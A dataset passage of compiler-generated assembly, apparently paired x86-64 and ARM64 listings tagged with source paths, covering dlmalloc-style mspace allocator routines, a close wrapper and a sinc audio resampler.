orr x8, x23, x8
orr x8, x8, #0x2
stur x8, [x19, #-8]
ldr x8, [x22, _mparams@PAGEOFF]
eor x8, x8, x20
orr x10, x2, #0x3
stp x8, x10, [x1]
add x9, x21, x9
ldr x10, [x9, #8]
orr x10, x10, #0x1
stp x8, x10, [x9]
b LBB0_35
.loh AdrpLdr Lloh0, Lloh1
.cfi_endproc
; -- End function
.globl _mspace_bulk_free ; -- Begin function mspace_bulk_free
.p2align 2
_mspace_bulk_free: ; @mspace_bulk_free
.cfi_startproc
; %bb.0:
stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 80
stp x24, x23, [sp, #16] ; 16-byte Folded Spill
stp x22, x21, [sp, #32] ; 16-byte Folded Spill
stp x20, x19, [sp, #48] ; 16-byte Folded Spill
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
mov x21, x2
mov x22, x1
mov x19, x0
ldrb w8, [x0, #880]
tbz w8, #1, LBB1_8
; %bb.1:
add x8, x19, #884
mov w20, #1
swpal w20, w8, [x8]
cbz w8, LBB1_8
; %bb.2:
mov w23, #1
b LBB1_4
LBB1_3: ; in Loop: Header=BB1_4 Depth=1
add w23, w23, #1
LBB1_4: ; =>This Inner Loop Header: Depth=1
ldr w8, [x19, #884]
cbnz w8, LBB1_6
; %bb.5: ; in Loop: Header=BB1_4 Depth=1
add x8, x19, #884
swpal w20, w8, [x8]
cbz w8, LBB1_8
LBB1_6: ; in Loop: Header=BB1_4 Depth=1
tst w23, #0x3f
b.ne LBB1_3
; %bb.7: ; in Loop: Header=BB1_4 Depth=1
bl _sched_yield
b LBB1_3
LBB1_8:
adrp x23, _mparams@PAGE
mov x20, #0
cbz x21, LBB1_19
; %bb.9:
add x22, x22, #8
lsl x21, x21, #3
b LBB1_12
LBB1_10: ; in Loop: Header=BB1_12 Depth=1
add x20, x20, #1
LBB1_11: ; in Loop: Header=BB1_12 Depth=1
add x22, x22, #8
subs x21, x21, #8
b.eq LBB1_19
LBB1_12: ; =>This Inner Loop Header: Depth=1
ldur x8, [x22, #-8]
cbz x8, LBB1_11
; %bb.13: ; in Loop: Header=BB1_12 Depth=1
sub x1, x8, #16
ldur x10, [x8, #-8]
and x2, x10, #0xfffffffffffffff8
add x11, x1, x2
ldr x12, [x11]
ldr x9, [x23, _mparams@PAGEOFF]
eor x12, x9, x12
cmp x12, x19
b.ne LBB1_10
; %bb.14: ; in Loop: Header=BB1_12 Depth=1
stur xzr, [x22, #-8]
ldr x12, [x19, #24]
and x13, x10, #0x3
cmp x1, x12
ccmp x13, #1, #4, hs
b.eq LBB1_43
; %bb.15: ; in Loop: Header=BB1_12 Depth=1
cmp x21, #8
b.eq LBB1_17
; %bb.16: ; in Loop: Header=BB1_12 Depth=1
ldr x12, [x22]
add x13, x11, #16
cmp x12, x13
b.eq LBB1_18
LBB1_17: ; in Loop: Header=BB1_12 Depth=1
mov x0, x19
bl _dispose_chunk
b LBB1_11
LBB1_18: ; in Loop: Header=BB1_12 Depth=1
ldr x11, [x11, #8]
and x11, x11, #0xfffffffffffffff8
and x10, x10, #0x1
add x11, x11, x2
orr x10, x10, x11
orr x10, x10, #0x2
stur x10, [x8, #-8]
add x10, x1, x11
ldr x11, [x10, #8]
orr x11, x11, #0x1
eor x9, x9, x19
stp x9, x11, [x10]
str x8, [x22]
b LBB1_11
LBB1_19:
ldr x8, [x19, #16]
ldr x9, [x19, #48]
cmp x8, x9
b.ls LBB1_40
; %bb.20:
ldr x8, [x23, _mparams@PAGEOFF]
cbnz x8, LBB1_32
; %bb.21:
Lloh2:
adrp x21, _malloc_global_mutex@PAGE
Lloh3:
add x21, x21, _malloc_global_mutex@PAGEOFF
mov w22, #1
swpal w22, w8, [x21]
cbz w8, LBB1_28
; %bb.22:
adrp x24, _malloc_global_mutex@PAGE
mov w25, #1
b LBB1_24
LBB1_23: ; in Loop: Header=BB1_24 Depth=1
add w25, w25, #1
LBB1_24: ; =>This Inner Loop Header: Depth=1
ldr w8, [x24, _malloc_global_mutex@PAGEOFF]
cbnz w8, LBB1_26
; %bb.25: ; in Loop: Header=BB1_24 Depth=1
swpal w22, w8, [x21]
cbz w8, LBB1_28
LBB1_26: ; in Loop: Header=BB1_24 Depth=1
tst w25, #0x3f
b.ne LBB1_23
; %bb.27: ; in Loop: Header=BB1_24 Depth=1
bl _sched_yield
b LBB1_23
LBB1_28:
ldr x8, [x23, _mparams@PAGEOFF]
cbnz x8, LBB1_31
; %bb.29:
mov w0, #29
bl _sysconf
sub x8, x0, #1
tst x0, x8
b.ne LBB1_43
; %bb.30:
Lloh4:
adrp x22, _mparams@PAGE
Lloh5:
add x22, x22, _mparams@PAGEOFF
mov w8, #65536
stp x0, x8, [x22, #8]
mov x8, #-1
stp x8, x8, [x22, #24]
mov w8, #6
str w8, [x22, #40]
mov x0, #0
bl _time
and x8, x0, #0xfffffffffffffff0
mov w9, #21848
movk w9, #21845, lsl #16
eor x8, x8, x9
str x8, [x22]
LBB1_31:
stlr wzr, [x21]
LBB1_32:
ldr x8, [x19, #40]
cbz x8, LBB1_40
; %bb.33:
ldr x9, [x19, #16]
cmp x9, #81
b.lo LBB1_38
; %bb.34:
add x10, x19, #888
b LBB1_36
LBB1_35: ; in Loop: Header=BB1_36 Depth=1
ldr x10, [x10, #16]
cbz x10, LBB1_38
LBB1_36: ; =>This Inner Loop Header: Depth=1
ldr x11, [x10]
cmp x11, x8
b.hi LBB1_35
; %bb.37: ; in Loop: Header=BB1_36 Depth=1
ldr x12, [x10, #8]
add x11, x11, x12
cmp x11, x8
b.ls LBB1_35
LBB1_38:
ldr x8, [x19, #48]
cmp x9, x8
b.ls LBB1_40
; %bb.39:
mov x8, #-1
str x8, [x19, #48]
LBB1_40:
ldrb w8, [x19, #880]
tbz w8, #1, LBB1_42
; %bb.41:
add x8, x19, #884
stlr wzr, [x8]
LBB1_42:
mov x0, x20
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
ldp x20, x19, [sp, #48] ; 16-byte Folded Reload
ldp x22, x21, [sp, #32] ; 16-byte Folded Reload
ldp x24, x23, [sp, #16] ; 16-byte Folded Reload
ldp x26, x25, [sp], #80 ; 16-byte Folded Reload
ret
LBB1_43:
bl _abort
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh4, Lloh5
.cfi_endproc
; -- End function
.globl _mspace_footprint_limit ; -- Begin function mspace_footprint_limit
.p2align 2
_mspace_footprint_limit: ; @mspace_footprint_limit
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
ldr x8, [x0, #64]
Lloh6:
adrp x9, _mparams@PAGE
Lloh7:
ldr x9, [x9, _mparams@PAGEOFF]
cmp x8, x9
b.ne LBB2_2
; %bb.1:
ldr x8, [x0, #872]
cmp x8, #0
csinv x0, x8, xzr, ne
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
LBB2_2:
bl _abort
.loh AdrpLdr Lloh6, Lloh7
.cfi_endproc
; -- End function
.globl _mspace_set_footprint_limit ; -- Begin function mspace_set_footprint_limit
.p2align 2
_mspace_set_footprint_limit: ; @mspace_set_footprint_limit
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
ldr x8, [x0, #64]
Lloh8:
adrp x9, _mparams@PAGE
Lloh9:
ldr x9, [x9, _mparams@PAGEOFF]
cmp x8, x9
b.ne LBB3_5
; %bb.1:
cmn x1, #1
b.eq LBB3_3
; %bb.2:
Lloh10:
adrp x8, _mparams@PAGE+16
Lloh11:
ldr x8, [x8, _mparams@PAGEOFF+16]
add x9, x1, x8
sub x9, x9, #1
neg x8, x8
and x8, x9, x8
b LBB3_4
LBB3_3:
mov x8, #0
LBB3_4:
str x8, [x0, #872]
mov x0, x8
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
LBB3_5:
bl _abort
.loh AdrpLdr Lloh8, Lloh9
.loh AdrpLdr Lloh10, Lloh11
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function dispose_chunk
_dispose_chunk: ; @dispose_chunk
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
add x8, x1, x2
ldr x9, [x1, #8]
tbnz w9, #0, LBB4_39
; %bb.1:
tst x9, #0x3
b.eq LBB4_59
; %bb.2:
ldr x9, [x1]
ldr x11, [x0, #24]
sub x1, x1, x9
cmp x1, x11
b.lo LBB4_103
; %bb.3:
add x2, x9, x2
ldr x10, [x0, #32]
cmp x10, x1
b.eq LBB4_13
; %bb.4:
cmp x9, #255
b.hi LBB4_15
; %bb.5:
ldp x10, x12, [x1, #16]
lsl x13, x9, #1
and x13, x13, #0x7fffffff0
add x13, x0, x13
add x13, x13, #72
cmp x10, x13
b.eq LBB4_8
; %bb.6:
cmp x11, x10
b.hi LBB4_103
; %bb.7:
ldr x14, [x10, #24]
cmp x14, x1
b.ne LBB4_103
LBB4_8:
cmp x12, x10
b.eq LBB4_20
; %bb.9:
cmp x12, x13
b.eq LBB4_12
; %bb.10:
cmp x11, x12
b.hi LBB4_103
; %bb.11:
ldr x9, [x12, #16]
cmp x9, x1
b.ne LBB4_103
LBB4_12:
str x12, [x10, #24]
str x10, [x12, #16]
b LBB4_39
LBB4_13:
ldr x9, [x8, #8]
mvn w10, w9
tst x10, #0x3
b.ne LBB4_39
; %bb.14:
str x2, [x0, #8]
and x9, x9, #0xfffffffffffffffe
orr x10, x2, #0x1
str x9, [x8, #8]
str x10, [x1, #8]
str x2, [x8]
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
LBB4_15:
ldr x9, [x1, #48]
ldr x10, [x1, #24]
cmp x10, x1
b.eq LBB4_21
; %bb.16:
ldr x12, [x1, #16]
cmp x11, x12
b.hi LBB4_103
; %bb.17:
ldr x11, [x12, #24]
cmp x11, x1
b.ne LBB4_103
; %bb.18:
ldr x11, [x10, #16]
cmp x11, x1
b.ne LBB4_103
; %bb.19:
str x10, [x12, #24]
str x12, [x10, #16]
cbnz x9, LBB4_27
b LBB4_39
LBB4_20:
lsr x9, x9, #3
mov w10, #1
lsl w9, w10, w9
ldr w10, [x0]
bic w9, w10, w9
str w9, [x0]
b LBB4_39
LBB4_21:
mov x12, x1
ldr x13, [x12, #40]!
cbnz x13, LBB4_23
; %bb.22:
ldr x13, [x12, #-8]!
cbz x13, LBB4_101
LBB4_23: ; =>This Inner Loop Header: Depth=1
mov x10, x13
mov x14, x12
mov x12, x13
ldr x13, [x12, #40]!
cbnz x13, LBB4_23
; %bb.24: ; in Loop: Header=BB4_23 Depth=1
mov x12, x10
ldr x13, [x12, #32]!
cbnz x13, LBB4_23
; %bb.25:
cmp x11, x14
b.hi LBB4_103
; %bb.26:
str xzr, [x14]
cbz x9, LBB4_39
LBB4_27:
ldr w11, [x1, #56]
add x12, x0, x11, lsl #3
ldr x13, [x12, #600]
cmp x13, x1
b.eq LBB4_30
; %bb.28:
ldr x11, [x0, #24]
cmp x11, x9
b.hi LBB4_103
; %bb.29:
ldr x11, [x9, #32]
mov w12, #40
mov w13, #32
cmp x11, x1
csel x11, x13, x12, eq
str x10, [x9, x11]
cbnz x10, LBB4_31
b LBB4_39
LBB4_30:
add x12, x12, #600
str x10, [x12]
cbz x10, LBB4_38
LBB4_31:
ldr x11, [x0, #24]
cmp x11, x10
b.hi LBB4_103
; %bb.32:
str x9, [x10, #48]
ldr x9, [x1, #32]
cbz x9, LBB4_35
; %bb.33:
cmp x11, x9
b.hi LBB4_103
; %bb.34:
str x9, [x10, #32]
str x10, [x9, #48]
LBB4_35:
ldr x9, [x1, #40]
cbz x9, LBB4_39
; %bb.36:
ldr x11, [x0, #24]
cmp x11, x9
b.hi LBB4_103
; %bb.37:
str x9, [x10, #40]
str x10, [x9, #48]
b LBB4_39
LBB4_38:
mov w9, #1
lsl w9, w9, w11
ldr w10, [x0, #4]
bic w9, w10, w9
str w9, [x0, #4]
LBB4_39:
ldr x12, [x0, #24]
cmp x8, x12
b.lo LBB4_103
; %bb.40:
ldr x9, [x8, #8]
tbnz w9, #1, LBB4_52
; %bb.41:
ldr x10, [x0, #40]
cmp x10, x8
b.eq LBB4_58
; %bb.42:
ldr x10, [x0, #32]
cmp x10, x8
b.eq LBB4_67
; %bb.43:
cmp x9, #255
b.hi LBB4_74
; %bb.44:
ldp x10, x11, [x8, #16]
lsl x13, x9, #1
and x13, x13, #0x7fffffff0
add x13, x0, x13
add x13, x13, #72
cmp x10, x13
b.eq LBB4_47
; %bb.45:
cmp x12, x10
b.hi LBB4_103
; %bb.46:
ldr x14, [x10, #24]
cmp x14, x8
b.ne LBB4_103
LBB4_47:
cmp x11, x10
b.eq LBB4_80
; %bb.48:
cmp x11, x13
b.eq LBB4_51
; %bb.49:
cmp x12, x11
b.hi LBB4_103
; %bb.50:
ldr x12, [x11, #16]
cmp x12, x8
b.ne LBB4_103
LBB4_51:
str x11, [x10, #24]
str x10, [x11, #16]
b LBB4_99
LBB4_52:
and x9, x9, #0xfffffffffffffffe
str x9, [x8, #8]
orr x8, x2, #0x1
str x8, [x1, #8]
str x2, [x1, x2]
LBB4_53:
cmp x2, #255
b.hi LBB4_56
; %bb.54:
lsr x10, x2, #3
lsl x8, x2, #1
and x8, x8, #0x7fffffff0
add x8, x0, x8
add x8, x8, #72
ldr w9, [x0]
mov w11, #1
lsl w10, w11, w10
tst w9, w10
b.eq LBB4_68
; %bb.55:
ldr x9, [x8, #16]
ldr x10, [x0, #24]
cmp x10, x9
b.ls LBB4_69
b LBB4_103
LBB4_56:
lsr x8, x2, #24
cbz x8, LBB4_60
; %bb.57:
mov w8, #31
b LBB4_61
LBB4_58:
ldr x8, [x0, #16]
add x8, x8, x2
str x8, [x0, #16]
str x1, [x0, #40]
orr x8, x8, #0x1
str x8, [x1, #8]
ldr x8, [x0, #32]
cmp x1, x8
b.eq LBB4_79
LBB4_59:
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
LBB4_60:
lsr x8, x2, #8
mov w9, #1048320
add w9, w8, w9
lsr w9, w9, #16
and w9, w9, #0x8
lsl w8, w8, w9
add w10, w8, #127, lsl #12 ; =520192
lsr w10, w10, #16
and w10, w10, #0x4
orr w9, w9, w10
lsl w8, w8, w10
add w10, w8, #60, lsl #12 ; =245760
lsr w10, w10, #16
and w10, w10, #0x2
lsl w8, w8, w10
lsr w8, w8, #15
orr w9, w9, w10
sub w8, w8, w9
add w9, w8, #21
lsr x9, x2, x9
bfi w9, w8, #1, #31
add w8, w9, #28
LBB4_61:
add x9, x0, w8, uxtw #3
add x9, x9, #600
str w8, [x1, #56]
stp xzr, xzr, [x1, #32]
ldr w10, [x0, #4]
mov w11, #1
lsl w11, w11, w8
tst w10, w11
b.eq LBB4_70
; %bb.62:
ldr x9, [x9]
lsr w10, w8, #1
add w10, w10, #6
mov w11, #63
sub x10, x11, x10
cmp w8, #31
csel x8, xzr, x10, eq
lsl x10, x2, x8
LBB4_63: ; =>This Inner Loop Header: Depth=1
mov x8, x9
ldr x9, [x9, #8]
and x9, x9, #0xfffffffffffffff8
cmp x9, x2
b.eq LBB4_72
; %bb.64: ; in Loop: Header=BB4_63 Depth=1
lsr x9, x10, #60
and x9, x9, #0x8
add x11, x8, x9
ldr x9, [x11, #32]!
lsl x10, x10, #1
cbnz x9, LBB4_63
; %bb.65:
ldr x9, [x0, #24]
cmp x9, x11
b.hi LBB4_103
; %bb.66:
str x1, [x11]
str x8, [x1, #48]
b LBB4_71
LBB4_67:
ldr x8, [x0, #8]
add x8, x8, x2
str x8, [x0, #8]
str x1, [x0, #32]
orr x9, x8, #0x1
str x9, [x1, #8]
str x8, [x1, x8]
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
LBB4_68:
orr w9, w9, w10
str w9, [x0]
mov x9, x8
LBB4_69:
str x1, [x8, #16]
str x1, [x9, #24]
stp x9, x8, [x1, #16]
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
LBB4_70:
orr w8, w10, w11
str w8, [x0, #4]
str x1, [x9]
str x9, [x1, #48]
LBB4_71:
stp x1, x1, [x1, #16]
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
LBB4_72:
ldr x9, [x8, #16]
ldr x10, [x0, #24]
cmp x10, x8
ccmp x10, x9, #2, ls
b.hi LBB4_103
; %bb.73:
str x1, [x9, #24]
str x1, [x8, #16]
stp x9, x8, [x1, #16]
str xzr, [x1, #48]
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
LBB4_74:
ldr x10, [x8, #48]
ldr x11, [x8, #24]
cmp x11, x8
b.eq LBB4_81
; %bb.75:
ldr x13, [x8, #16]
cmp x12, x13
b.hi LBB4_103
; %bb.76:
ldr x12, [x13, #24]
cmp x12, x8
b.ne LBB4_103
; %bb.77:
ldr x12, [x11, #16]
cmp x12, x8
b.ne LBB4_103
; %bb.78:
str x11, [x13, #24]
str x13, [x11, #16]
cbnz x10, LBB4_87
b LBB4_99
LBB4_79:
str xzr, [x0, #32]
str xzr, [x0, #8]
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
LBB4_80:
lsr x8, x9, #3
mov w10, #1
lsl w8, w10, w8
ldr w10, [x0]
bic w8, w10, w8
str w8, [x0]
b LBB4_99
LBB4_81:
mov x13, x8
ldr x14, [x13, #40]!
cbnz x14, LBB4_83
; %bb.82:
ldr x14, [x13, #-8]!
cbz x14, LBB4_102
LBB4_83: ; =>This Inner Loop Header: Depth=1
mov x11, x14
mov x15, x13
mov x13, x14
ldr x14, [x13, #40]!
cbnz x14, LBB4_83
; %bb.84: ; in Loop: Header=BB4_83 Depth=1
mov x13, x11
ldr x14, [x13, #32]!
cbnz x14, LBB4_83
; %bb.85:
cmp x12, x15
b.hi LBB4_103
; %bb.86:
str xzr, [x15]
cbz x10, LBB4_99
LBB4_87:
ldr w12, [x8, #56]
add x13, x0, x12, lsl #3
ldr x14, [x13, #600]
cmp x14, x8
b.eq LBB4_90
; %bb.88:
ldr x12, [x0, #24]
cmp x12, x10
b.hi LBB4_103
; %bb.89:
ldr x12, [x10, #32]
mov w13, #40
mov w14, #32
cmp x12, x8
csel x12, x14, x13, eq
str x11, [x10, x12]
cbnz x11, LBB4_91
b LBB4_99
LBB4_90:
add x13, x13, #600
str x11, [x13]
cbz x11, LBB4_98
LBB4_91:
ldr x12, [x0, #24]
cmp x12, x11
b.hi LBB4_103
; %bb.92:
str x10, [x11, #48]
ldr x10, [x8, #32]
cbz x10, LBB4_95
; %bb.93:
cmp x12, x10
b.hi LBB4_103
; %bb.94:
str x10, [x11, #32]
str x11, [x10, #48]
LBB4_95:
ldr x8, [x8, #40]
cbz x8, LBB4_99
; %bb.96:
ldr x10, [x0, #24]
cmp x10, x8
b.hi LBB4_103
; %bb.97:
str x8, [x11, #40]
str x11, [x8, #48]
b LBB4_99
LBB4_98:
mov w8, #1
lsl w8, w8, w12
ldr w10, [x0, #4]
bic w8, w10, w8
str w8, [x0, #4]
LBB4_99:
and x8, x9, #0xfffffffffffffff8
add x2, x8, x2
orr x8, x2, #0x1
str x8, [x1, #8]
str x2, [x1, x2]
ldr x8, [x0, #32]
cmp x1, x8
b.ne LBB4_53
; %bb.100:
str x2, [x0, #8]
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
LBB4_101:
mov x10, #0
cbnz x9, LBB4_27
b LBB4_39
LBB4_102:
mov x11, #0
cbnz x10, LBB4_87
b LBB4_99
LBB4_103:
bl _abort
.cfi_endproc
; -- End function
.zerofill __DATA,__bss,_mparams,48,3 ; @mparams
.zerofill __DATA,__bss,_malloc_global_mutex,4,2 ; @malloc_global_mutex
.subsections_via_symbols
| the_stack_data/132952837.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function close
_close: ## @close
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
popq %rbp
jmp _callback_close ## TAILCALL
.cfi_endproc
## -- End function
.no_dead_strip _close
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function close
_close: ; @close
.cfi_startproc
; %bb.0:
b _callback_close
.cfi_endproc
; -- End function
.no_dead_strip _close
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/arch/alpha/boot/extr_main.c_close.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function resampler_sinc_process_c
_resampler_sinc_process_c: ## @resampler_sinc_process_c
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl 4(%rdi), %eax
movl (%rdi), %ecx
movl %eax, -64(%rbp) ## 4-byte Spill
addl %eax, %ecx
movl $1, %r9d
## kill: def $cl killed $cl killed $ecx
shll %cl, %r9d
movl %r9d, %eax
xorl %edx, %edx
divl (%rsi)
movl %eax, -60(%rbp) ## 4-byte Spill
xorl %r13d, %r13d
movq 24(%rsi), %rax
testq %rax, %rax
je LBB0_22
## %bb.1:
movq 8(%rsi), %rcx
movq %rsi, -72(%rbp) ## 8-byte Spill
movq 16(%rsi), %rdx
movq _SINC_WINDOW_KAISER@GOTPCREL(%rip), %rsi
movq (%rsi), %r11
movl 8(%rdi), %r10d
movq 24(%rdi), %rsi
movq 32(%rdi), %r14
movq 40(%rdi), %r8
movq %rdi, -48(%rbp) ## 8-byte Spill
movq 16(%rdi), %rbx
decq %rax
movl %r9d, %edi
negl %edi
xorl %r12d, %r12d
.p2align 4, 0x90
LBB0_2: ## =>This Inner Loop Header: Depth=1
movl %r10d, %r15d
movq %r12, %r13
testq %rbx, %rbx
cmoveq %rsi, %rbx
movss (%rcx,%r12,8), %xmm0 ## xmm0 = mem[0],zero,zero,zero
leaq -4(%r14,%rbx,4), %r12
movss %xmm0, -4(%r14,%rbx,4)
movss %xmm0, (%r12,%rsi,4)
movss 4(%rcx,%r13,8), %xmm0 ## xmm0 = mem[0],zero,zero,zero
leaq -4(%r8,%rbx,4), %r12
movss %xmm0, -4(%r8,%rbx,4)
decq %rbx
movss %xmm0, (%r12,%rsi,4)
subl %r9d, %r10d
leaq 1(%r13), %r12
cmpq %r13, %rax
jne LBB0_2
## %bb.3: ## in Loop: Header=BB0_2 Depth=1
addl %edi, %r15d
cmpl %r9d, %r15d
jae LBB0_2
## %bb.4:
movq -48(%rbp), %rcx ## 8-byte Reload
movq %rbx, 16(%rcx)
movl %r10d, 8(%rcx)
movq 24(%rcx), %rdi
movq 32(%rcx), %rax
leaq (%rax,%rbx,4), %r14
movq 40(%rcx), %rax
leaq (%rax,%rbx,4), %r15
movl %edi, %eax
movq 48(%rcx), %r12
leal (%rdi,%rdi), %esi
movl %esi, -52(%rbp) ## 4-byte Spill
leal 1(%rdi), %esi
movl %esi, -56(%rbp) ## 4-byte Spill
cmpl $1, %esi
movq %rdi, -104(%rbp) ## 8-byte Spill
## kill: def $edi killed $edi killed $rdi def $rdi
adcl $1, %edi
movq 56(%rcx), %rcx
leaq (%rcx,%rax,4), %rax
movq %rax, -88(%rbp) ## 8-byte Spill
movl %edi, %ebx
andl $-2, %ebx
movq %rcx, -96(%rbp) ## 8-byte Spill
leaq 4(%rcx), %rax
movq %rax, -80(%rbp) ## 8-byte Spill
xorl %r13d, %r13d
jmp LBB0_5
.p2align 4, 0x90
LBB0_19: ## in Loop: Header=BB0_5 Depth=1
movss (%r14,%rax,4), %xmm0 ## xmm0 = mem[0],zero,zero,zero
insertps $16, (%r15,%rax,4), %xmm0 ## xmm0 = xmm0[0],mem[0],xmm0[2,3]
movsldup %xmm2, %xmm2 ## xmm2 = xmm2[0,0,2,2]
mulps %xmm0, %xmm2
addps %xmm2, %xmm1
LBB0_20: ## in Loop: Header=BB0_5 Depth=1
movlps %xmm1, (%rdx)
addq $8, %rdx
incq %r13
addl -60(%rbp), %r10d ## 4-byte Folded Reload
cmpl %r9d, %r10d
jae LBB0_21
LBB0_5: ## =>This Loop Header: Depth=1
## Child Loop BB0_11 Depth 2
movl %r10d, %esi
movl -64(%rbp), %ecx ## 4-byte Reload
## kill: def $cl killed $cl killed $ecx
shrl %cl, %esi
cmpq %r11, %r12
jne LBB0_7
## %bb.6: ## in Loop: Header=BB0_5 Depth=1
movq -48(%rbp), %r8 ## 8-byte Reload
movl 64(%r8), %eax
orl %r10d, %eax
xorps %xmm0, %xmm0
cvtsi2ss %rax, %xmm0
imull -52(%rbp), %esi ## 4-byte Folded Reload
movq -88(%rbp), %rax ## 8-byte Reload
leaq (%rax,%rsi,4), %rcx
mulss 68(%r8), %xmm0
cmpl $2, -56(%rbp) ## 4-byte Folded Reload
jb LBB0_9
LBB0_10: ## in Loop: Header=BB0_5 Depth=1
movq -80(%rbp), %rax ## 8-byte Reload
leaq (%rax,%rsi,4), %r8
xorps %xmm1, %xmm1
xorl %eax, %eax
jmp LBB0_11
.p2align 4, 0x90
LBB0_15: ## in Loop: Header=BB0_11 Depth=2
movss (%r14,%rax,4), %xmm4 ## xmm4 = mem[0],zero,zero,zero
insertps $16, (%r15,%rax,4), %xmm4 ## xmm4 = xmm4[0],mem[0],xmm4[2,3]
movsldup %xmm2, %xmm2 ## xmm2 = xmm2[0,0,2,2]
mulps %xmm4, %xmm2
addps %xmm2, %xmm1
movss 4(%r14,%rax,4), %xmm2 ## xmm2 = mem[0],zero,zero,zero
insertps $16, 4(%r15,%rax,4), %xmm2 ## xmm2 = xmm2[0],mem[0],xmm2[2,3]
movsldup %xmm3, %xmm3 ## xmm3 = xmm3[0,0,2,2]
mulps %xmm2, %xmm3
addps %xmm3, %xmm1
addq $2, %rax
cmpq %rax, %rbx
je LBB0_16
LBB0_11: ## Parent Loop BB0_5 Depth=1
## => This Inner Loop Header: Depth=2
movss -4(%r8,%rax,4), %xmm2 ## xmm2 = mem[0],zero,zero,zero
cmpq %r11, %r12
jne LBB0_13
## %bb.12: ## in Loop: Header=BB0_11 Depth=2
movss (%rcx,%rax,4), %xmm3 ## xmm3 = mem[0],zero,zero,zero
mulss %xmm0, %xmm3
addss %xmm3, %xmm2
LBB0_13: ## in Loop: Header=BB0_11 Depth=2
movss (%r8,%rax,4), %xmm3 ## xmm3 = mem[0],zero,zero,zero
cmpq %r11, %r12
jne LBB0_15
## %bb.14: ## in Loop: Header=BB0_11 Depth=2
movss 4(%rcx,%rax,4), %xmm4 ## xmm4 = mem[0],zero,zero,zero
mulss %xmm0, %xmm4
addss %xmm4, %xmm3
jmp LBB0_15
.p2align 4, 0x90
LBB0_7: ## in Loop: Header=BB0_5 Depth=1
imull -104(%rbp), %esi ## 4-byte Folded Reload
xorps %xmm0, %xmm0
xorl %ecx, %ecx
cmpl $2, -56(%rbp) ## 4-byte Folded Reload
jae LBB0_10
LBB0_9: ## in Loop: Header=BB0_5 Depth=1
xorps %xmm1, %xmm1
xorl %eax, %eax
LBB0_16: ## in Loop: Header=BB0_5 Depth=1
testb $1, %dil
je LBB0_20
## %bb.17: ## in Loop: Header=BB0_5 Depth=1
movq -96(%rbp), %r8 ## 8-byte Reload
leaq (%r8,%rsi,4), %rsi
movss (%rsi,%rax,4), %xmm2 ## xmm2 = mem[0],zero,zero,zero
cmpq %r11, %r12
jne LBB0_19
## %bb.18: ## in Loop: Header=BB0_5 Depth=1
mulss (%rcx,%rax,4), %xmm0
addss %xmm0, %xmm2
jmp LBB0_19
LBB0_21:
movq -48(%rbp), %rax ## 8-byte Reload
movl %r10d, 8(%rax)
movq -72(%rbp), %rsi ## 8-byte Reload
LBB0_22:
movq %r13, 32(%rsi)
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _SINC_WINDOW_KAISER,8,3 ## @SINC_WINDOW_KAISER
.no_dead_strip _resampler_sinc_process_c
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function resampler_sinc_process_c
_resampler_sinc_process_c: ; @resampler_sinc_process_c
.cfi_startproc
; %bb.0:
ldr x12, [x1, #24]
cbz x12, LBB0_14
; %bb.1:
stp x22, x21, [sp, #-32]! ; 16-byte Folded Spill
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
.cfi_offset w19, -8
.cfi_offset w20, -16
.cfi_offset w21, -24
.cfi_offset w22, -32
ldp w9, w8, [x0]
add w9, w8, w9
mov w10, #1 ; =0x1
lsl w9, w10, w9
ldr w4, [x1]
